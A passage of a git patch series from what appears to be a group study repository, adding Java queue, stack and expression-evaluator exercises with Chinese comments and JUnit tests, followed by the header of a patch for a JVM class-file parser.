+        rear = (rear+1) % DEFAULT_SIZE;
+        elementData[rear] = data;
+    }
+
+    public E deQueue() {
+    	if(isEmpty()){
+    		throw new NoSuchElementException("Queue underflow"); 
+    	}
+    	
+    	Object item = elementData[front];
+    	front = (front + 1) % DEFAULT_SIZE;
+        return (E) item;
+    }
+}
diff --git a/group06/1378560653/src/com/coding/basic/queue/Josephus.java b/group06/1378560653/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..bbb5e7aecd
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,38 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题:约瑟夫环
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * 实现方法：
+ * 1.将所有的人（0~N-1）入队
+ * 2.0~M-1出队，再入队，将M剔出
+ * 3.重复2，直到剩下最后一个人
+ * @author kai
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){	
+		List<Integer> result = new ArrayList<>();
+		Queue<Integer> queue = new Queue<Integer>();
+		
+		for(int i = 0; i < n; i++){
+			queue.enQueue(i);
+		}
+		
+		while(queue.size() > 1){
+			for(int i = 0; i<m-1; i++){
+				int temp = queue.deQueue();
+				queue.enQueue(temp);
+			}
+			result.add(queue.deQueue());
+		}
+		result.add(queue.deQueue());
+		return result;
+	}
+	
+}
diff --git a/group06/1378560653/src/com/coding/basic/queue/JosephusTest.java b/group06/1378560653/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7d90318b51
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group06/1378560653/src/com/coding/basic/queue/Queue.java b/group06/1378560653/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..b4fcd41e44
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,71 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+/*
+ * 链队列
+ * 队头和队尾2个元素唯一确定一个链队列
+ */
+public class Queue<E> {
+	private Node<E> first;
+	private Node<E> last;
+	private int size;
+	
+	private static class Node<E> {
+		private E item;
+		private Node<E> next;
+	}
+	
+	public Queue(){
+		first = null;
+		last = null;
+		size = 0;
+	}
+	
+	public boolean isEmpty(){
+		return first == null;
+	}
+	
+	public int size() {
+		return size;
+	}
+	
+	public void enQueue(E data){
+		Node<E> oldlast = last;
+		last = new Node<>();
+		last.item = data;
+		last.next = null;
+		if(isEmpty()){
+			first = last;
+		} else {
+			oldlast.next = last;
+		}
+		size++;
+	}
+	
+	public E deQueue(){
+		if(isEmpty()){
+			throw new NoSuchElementException("Queue underflow");
+		}
+		
+		E item = first.item;
+		first = first.next;
+		size--;
+		if(isEmpty()){
+			last = null;
+		} 
+		// 注意：删除队列头元素时，仅需修改头结点指针，但是当队列中最后一个元素被删除后，队列尾指针丢失，需要对尾指针重新赋值
+		return item;
+	}
+	
+	public static void main(String[] args){
+		Queue<Integer> queue = new Queue<>();
+		queue.enQueue(1);
+		queue.enQueue(2);
+		queue.enQueue(3);
+		queue.enQueue(4);
+		while(!queue.isEmpty()){
+			System.out.println(queue.deQueue());
+		}
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group06/1378560653/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..d134fc6c80
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,54 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author kai
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty() {
+        return stack1.isEmpty();
+    }
+ 
+    public int size() {
+        return stack1.size();   
+    }
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+    	if(isEmpty()){
+    		throw new NoSuchElementException("Queue underflow");
+    	}
+    	
+    	while(!stack1.isEmpty()){
+    		stack2.push(stack1.pop());
+    	}
+    	
+    	E item = stack2.pop();
+    	
+    	while(!stack2.isEmpty()){
+    		stack1.push(stack2.pop());
+    	}
+    	
+        return item;
+    }
+
+
+
+ }
+
diff --git a/group06/1378560653/src/com/coding/basic/stack/QuickMinStack.java b/group06/1378560653/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..1fb5476be5
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author kai
+ *
+ */
+public class QuickMinStack {
+	class Node {
+		private int min;
+		private int data;
+		
+		public Node(int data){
+			this.min = 0;
+			this.data = data;
+		}
+	}
+	
+	Stack<Node> stack = new Stack<>();
+	
+	public void push(int data){
+		Node node = new Node(data);
+		if(stack.isEmpty()){
+			node.min = data;
+		} else {
+			if(data < stack.peek().min){
+				node.min = data;
+			} else {
+				node.min = stack.peek().min;
+			}
+		}
+		stack.push(node);
+	}
+	public int pop(){
+		return stack.pop().data;
+	}
+	public int findMin(){
+		return stack.peek().min;
+	}
+	
+	public static void main(String[] args){
+		QuickMinStack stack = new QuickMinStack();
+		stack.push(5);
+		stack.push(7);
+		System.out.println(stack.findMin());
+		stack.push(4);
+		System.out.println(stack.findMin());
+		stack.pop();
+		System.out.println(stack.findMin());
+		stack.push(3);
+		System.out.println(stack.findMin());
+		
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/StackWithTwoQueues.java b/group06/1378560653/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..205381c2e1
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,66 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.queue.Queue;
+
+/**
+ * 用两个队列来实现一个栈
+ * @author kai
+ *
+ * @param <E>
+ */
+
+public class StackWithTwoQueues <E> {
+	private Queue<E> queue1;
+	private Queue<E> queue2;
+	
+	public StackWithTwoQueues() {
+		queue1 = new Queue<>();
+		queue2 = new Queue<>();
+		
+	}
+	
+	public boolean isEmpty(){
+		return queue1.size() == 0;
+	}
+	
+	public int size(){
+		return queue1.size();
+	}
+	
+    public void push(E data) {       
+    	queue1.enQueue(data);
+    }
+
+    public E pop() {
+    	if(isEmpty()){
+    		throw new RuntimeException("Stack is empty");
+    	}
+    	
+    	E item = null;
+    	while(!queue1.isEmpty()){
+    		item = queue1.deQueue();
+    		if(!queue1.isEmpty()){
+    			queue2.enQueue(item); //最后一个入队的释放，不再放入第二个队列	
+    		}
+    	}
+    
+    	while(!queue2.isEmpty()){
+    		queue1.enQueue(queue2.deQueue());
+    	}
+    	return item;
+    }
+    
+    public static void main(String[] args){
+    	StackWithTwoQueues<Integer> stack = new StackWithTwoQueues<>();
+    	stack.push(1);
+    	stack.push(2);
+    	stack.push(3);
+    	stack.push(4);
+    	while(!stack.isEmpty()){
+    		System.out.println(stack.pop());
+    	}
+    	
+    }
+
+    
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/TwoStackInOneArray.java b/group06/1378560653/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..b7c25c9a2f
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,134 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈,与循环队列类似,但相遇条件不同
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author kai
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	
+	private int p1 = 0;
+	private int p2 = data.length-1;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		if(p1 == p2){
+			 data = grow(data, 10 , p2);
+			 p2 += 10;
+		}
+		data[p1++] = o;
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		if(p1 <= 0){
+			throw new RuntimeException("Stack1 is empty!");
+		}
+		p1--;
+		Object result1 = data[p1];
+		data[p1] = null;
+		return result1;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		if(p1 <= 0){
+			throw new RuntimeException("Stack1 is empty!");
+		}
+		p1--;
+		Object result1 = data[p1];
+		p1++;
+		return result1;
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		if(p1 == p2){
+			data = grow(data, 10 , p2);
+			p2+=10;
+		}
+		data[p2--] = o;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		if(p2 >= data.length-1){
+			throw new RuntimeException("Stack1 is empty!");
+		}
+		p2++;
+		Object result2 = data[p2];
+		data[p2] = null;
+		return result2;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		if(p2 >= data.length-1){
+			throw new RuntimeException("Stack1 is empty!");
+		}
+		p2++;
+		Object result2 = data[p2];
+		p2--;
+		return result2;
+	}
+	/*
+	 * 扩容：
+	 * 1.从p1与p2之间扩容，而不是直接在数组结束处扩容
+	 * 2.扩容之后，p2相应扩大size
+	 * 
+	 */
+	public static Object[] grow(Object[] src, int size, int p2){
+		Object[] target = new Object[src.length + size];
+		System.arraycopy(src, 0, target, 0, p2);
+		System.arraycopy(src, p2,target, p2+size, src.length-p2);
+		return target;
+	}
+	
+	public static void main(String[] args){
+		TwoStackInOneArray stack = new TwoStackInOneArray();
+		stack.push1(1);
+		stack.push1(2);
+		stack.push1(3);
+		stack.push1(4);
+		stack.push1(5);
+		stack.push1(6);
+		stack.push1(7);
+		stack.push1(8);
+		stack.push1(9);
+		stack.push2(9);
+		stack.push2(8);
+		stack.push2(7);
+		stack.push2(6);
+		stack.push2(5);
+		stack.push2(4);
+		stack.push2(3);
+		stack.push2(2);
+		stack.push2(1);
+		System.out.println(stack.peek1());
+		System.out.println(stack.pop1());
+		System.out.println(stack.pop1());
+		System.out.println(stack.pop1());
+		System.out.println("============");
+		System.out.println(stack.peek2());
+		System.out.println(stack.pop2());
+		System.out.println(stack.pop2());
+		System.out.println(stack.pop2());	
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/InfixExpr.java b/group06/1378560653/src/com/coding/basic/stack/expression/InfixExpr.java
new file mode 100644
index 0000000000..66aa2453fb
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/InfixExpr.java
@@ -0,0 +1,80 @@
+package com.coding.basic.stack.expression;
+
+import java.util.List;
+import java.util.Stack;
+
+/*
+ * 中序表达式求值
+ * 1.开辟2个栈：操作数栈和运算符栈
+ * 2.当token为操作数时，直接压入操作数栈
+ * 3.当token为运算符时，若运算符栈为空，则直接压入，否则进行运算符优先级比较，优先级高，则直接压入栈，反之计算
+ */
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for (Token token : tokens) {
+			if(token.isOperator()){
+				if(opStack.isEmpty()){
+					opStack.push(token);
+				} else {
+					Token pre = opStack.peek();
+					if(token.hasHigherPriority(pre)){
+						opStack.push(token);
+					} else {
+						float f2 = numStack.pop();
+						float f1 = numStack.pop();
+						numStack.push(calculate(opStack.pop().value,f1,f2));
+						opStack.push(token);
+					}
+				}
+			}
+			
+			if(token.isNumber()){
+				numStack.push((float) token.getIntValue());
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			Token operator = opStack.pop();
+			float f2 = numStack.pop();
+			float f1 = numStack.pop();
+			numStack.push(calculate(operator.value,f1,f2));
+		}
+
+		return numStack.pop();
+	}
+
+	private float calculate(String value, float f1, float f2) {
+		if(value.equals("+")){
+			return f1 + f2;
+		}
+		
+		if(value.equals("-")){
+			return f1 - f2;
+		}
+		
+		if(value.equals("*")){
+			return f1 * f2;
+		}
+		
+		if(value.equals("/")){
+			return f1 / f2;
+		}
+		
+		return -1;
+	}
+	
+
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/InfixExprTest.java b/group06/1378560653/src/com/coding/basic/stack/expression/InfixExprTest.java
new file mode 100644
index 0000000000..31f2be8856
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expression;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/InfixToPostfix.java b/group06/1378560653/src/com/coding/basic/stack/expression/InfixToPostfix.java
new file mode 100644
index 0000000000..d667f24a1d
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/InfixToPostfix.java
@@ -0,0 +1,49 @@
+package com.coding.basic.stack.expression;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Token> numStack = new Stack<>();
+		
+		for (Token token : tokens) {
+			if(token.isNumber()){
+				numStack.push(token);
+			}
+			
+			if(token.isOperator()){
+				if(opStack.isEmpty()){
+					opStack.push(token);
+				} else {
+					Token pre = opStack.peek();
+					if(token.hasHigherPriority(pre)){
+						opStack.push(token);
+					} else {
+						while(!opStack.isEmpty()){
+							numStack.push(opStack.pop());
+						}
+						opStack.push(token);
+					}
+				}
+			}
+		}
+		
+		List<Token> temp = new ArrayList<>();
+		while(!numStack.isEmpty()){
+			temp.add(numStack.pop());
+		}
+		
+		List<Token> result = new ArrayList<>();
+		for(int i = temp.size()-1; i >= 0; i--){
+			result.add(temp.get(i));
+		}
+		return result;
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/PostfixExpr.java b/group06/1378560653/src/com/coding/basic/stack/expression/PostfixExpr.java
new file mode 100644
index 0000000000..61215eb027
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/PostfixExpr.java
@@ -0,0 +1,87 @@
+package com.coding.basic.stack.expression;
+
+import java.util.List;
+import java.util.Stack;
+
+/*
+ * 后序表达式， 本身就是表达式计算的顺序
+ * 后序表达式求值：
+ * 1.开辟2个栈：操作数栈和运算符栈
+ * 2.当token为操作数时，检查操作数栈，若操作数栈为空，则压入栈中；否则，判断运算符栈是否为空，若不为空则压入栈中，否则计算
+ * 3.当token为运算符时，检查运算符栈，若运算符栈为空，则压入栈中；否则，计算。
+ */
+public class PostfixExpr {
+	String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for (Token token : tokens) {
+			if(token.isOperator()){
+				if(opStack.isEmpty()){
+					opStack.push(token);
+				} else {
+					float f2 = numStack.pop();
+					float f1 = numStack.pop();
+					numStack.push(calculate(opStack.pop().value,f1,f2));
+					opStack.push(token);
+				}
+			}
+			
+			if(token.isNumber()){
+				if(numStack.isEmpty()){
+					numStack.push((float) token.getIntValue());
+				} else {
+					if (opStack.isEmpty()){
+						numStack.push((float) token.getIntValue());
+					} else {
+						float f2 = numStack.pop();
+						float f1 = numStack.pop();
+						numStack.push(calculate(opStack.pop().value,f1,f2));
+						numStack.push((float) token.getIntValue());
+					}
+				}
+			}
+		}
+		while(!opStack.isEmpty()){
+			float f2 = numStack.pop();
+			float f1 = numStack.pop();
+			numStack.push(calculate(opStack.pop().value,f1,f2));
+		}
+		
+		return numStack.pop();
+	}
+	
+	private float calculate(String value, float f1, float f2) {
+		if(value.equals("+")){
+			return f1 + f2;
+		}
+		
+		if(value.equals("-")){
+			return f1 - f2;
+		}
+		
+		if(value.equals("*")){
+			return f1 * f2;
+		}
+		
+		if(value.equals("/")){
+			return f1 / f2;
+		}
+		
+		return -1;
+	}
+	
+	public static void main(String[] args){
+		PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+		System.out.println(expr.evaluate());
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/PostfixExprTest.java b/group06/1378560653/src/com/coding/basic/stack/expression/PostfixExprTest.java
new file mode 100644
index 0000000000..6f93405801
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/PostfixExprTest.java
@@ -0,0 +1,42 @@
+package com.coding.basic.stack.expression;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{	
+			//6*(5+(2+3)*8+3)
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/PrefixExpr.java b/group06/1378560653/src/com/coding/basic/stack/expression/PrefixExpr.java
new file mode 100644
index 0000000000..832aa4feb3
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/PrefixExpr.java
@@ -0,0 +1,87 @@
+package com.coding.basic.stack.expression;
+
+import java.util.List;
+import java.util.Stack;
+
+/*
+ * 前序表达式求值
+ * 与后序表达式求值相反，相当于将后序表达式逆置，然后按照后续表达式的规则求值
+ * 
+ */
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for(int i = tokens.size()-1; i>=0; i--){
+			Token token = tokens.get(i);
+			if(token.isOperator()){
+				if(opStack.isEmpty()){
+					opStack.push(token);
+				} else {
+					float f1 = numStack.pop();
+					float f2 = numStack.pop();
+					numStack.push(calculate(opStack.pop().value,f1,f2));
+					opStack.push(token);
+				}
+			}
+			
+			if(token.isNumber()){
+				if(numStack.isEmpty()){
+					numStack.push((float) token.getIntValue());
+				} else {
+					if (opStack.isEmpty()){
+						numStack.push((float) token.getIntValue());
+					} else {
+						float f1 = numStack.pop();
+						float f2 = numStack.pop();
+						numStack.push(calculate(opStack.pop().value,f1,f2));
+						numStack.push((float) token.getIntValue());
+					}
+				}
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			float f1 = numStack.pop();
+			float f2 = numStack.pop();
+			numStack.push(calculate(opStack.pop().value,f1,f2));
+		}
+		
+		return numStack.pop();
+	}
+	
+	private float calculate(String value, float f1, float f2) {
+		if(value.equals("+")){
+			return f1 + f2;
+		}
+		
+		if(value.equals("-")){
+			return f1 - f2;
+		}
+		
+		if(value.equals("*")){
+			return f1 * f2;
+		}
+		
+		if(value.equals("/")){
+			return f1 / f2;
+		}
+		
+		return -1;
+	}
+	
+	public static void main(String[] args){
+		PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+		System.out.println(expr.evaluate());
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/PrefixExprTest.java b/group06/1378560653/src/com/coding/basic/stack/expression/PrefixExprTest.java
new file mode 100644
index 0000000000..1fd728ea44
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expression;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/Token.java b/group06/1378560653/src/com/coding/basic/stack/expression/Token.java
new file mode 100644
index 0000000000..0205e627ed
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/Token.java
@@ -0,0 +1,56 @@
+package com.coding.basic.stack.expression;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import javax.management.RuntimeErrorException;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String, Integer> priorities = new HashMap<>();
+	
+	static{
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	
+	public Token(int type, String value) {
+		this.type = type;
+		this.value = value;
+	}
+	
+	public boolean isNumber(){
+		return type == NUMBER;
+	}
+	
+	public boolean isOperator(){
+		return type == OPERATOR;
+	}
+	
+	public int getIntValue(){
+		return Integer.valueOf(value).intValue();
+	}
+	
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t) {
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+
+}
\ No newline at end of file
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/TokenParser.java b/group06/1378560653/src/com/coding/basic/stack/expression/TokenParser.java
new file mode 100644
index 0000000000..f39ce4d0a0
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expression;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group06/1378560653/src/com/coding/basic/stack/expression/TokenParserTest.java b/group06/1378560653/src/com/coding/basic/stack/expression/TokenParserTest.java
new file mode 100644
index 0000000000..671349412c
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/expression/TokenParserTest.java
@@ -0,0 +1,40 @@
+package com.coding.basic.stack.expression;
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From f9efe45286043638dca4e873a418205038970639 Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 15:12:21 +0800
Subject: [PATCH 178/262] =?UTF-8?q?=E7=AC=AC=E5=85=AB=E5=91=A8=20JVM?=
 =?UTF-8?q?=E7=AC=AC4=E6=AC=A1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group11/1178243325/week08/build.gradle        |  12 ++
 group11/1178243325/week08/readme.md           |  13 +++
 .../com/sprint/datastructure/InfixExpr.java   |  61 ++++++++++
 .../java/com/sprint/datastructure/Token.java  |  53 +++++++++
 .../com/sprint/datastructure/TokenParser.java |  45 ++++++++
 .../java/com/sprint/jvm/clz/AccessFlag.java   |  25 ++++
 .../java/com/sprint/jvm/clz/ClassFile.java    |  71 ++++++++++++
 .../java/com/sprint/jvm/clz/ClassIndex.java   |  22 ++++
 .../com/sprint/jvm/constant/ClassInfo.java    |  28 +++++
 .../com/sprint/jvm/constant/ConstantInfo.java |  29 +++++
 .../com/sprint/jvm/constant/ConstantPool.java |  28 +++++
 .../com/sprint/jvm/constant/FieldRefInfo.java |  52 +++++++++
 .../sprint/jvm/constant/MethodRefInfo.java    |  55 +++++++++
 .../sprint/jvm/constant/NameAndTypeInfo.java  |  52 +++++++++
 .../sprint/jvm/constant/NullConstantInfo.java |  12 ++
 .../com/sprint/jvm/constant/StringInfo.java   |  26 +++++
 .../com/sprint/jvm/constant/UTF8Info.java     |  35 ++++++
 .../sprint/jvm/loader/ByteCodeIterator.java   |  50 ++++++++
 .../sprint/jvm/loader/ClassFileLoader.java    |  52 +++++++++
 .../sprint/jvm/loader/ClassFileParser.java    | 107 ++++++++++++++++++
 .../main/java/com/sprint/jvm/util/Util.java   |  22 ++++
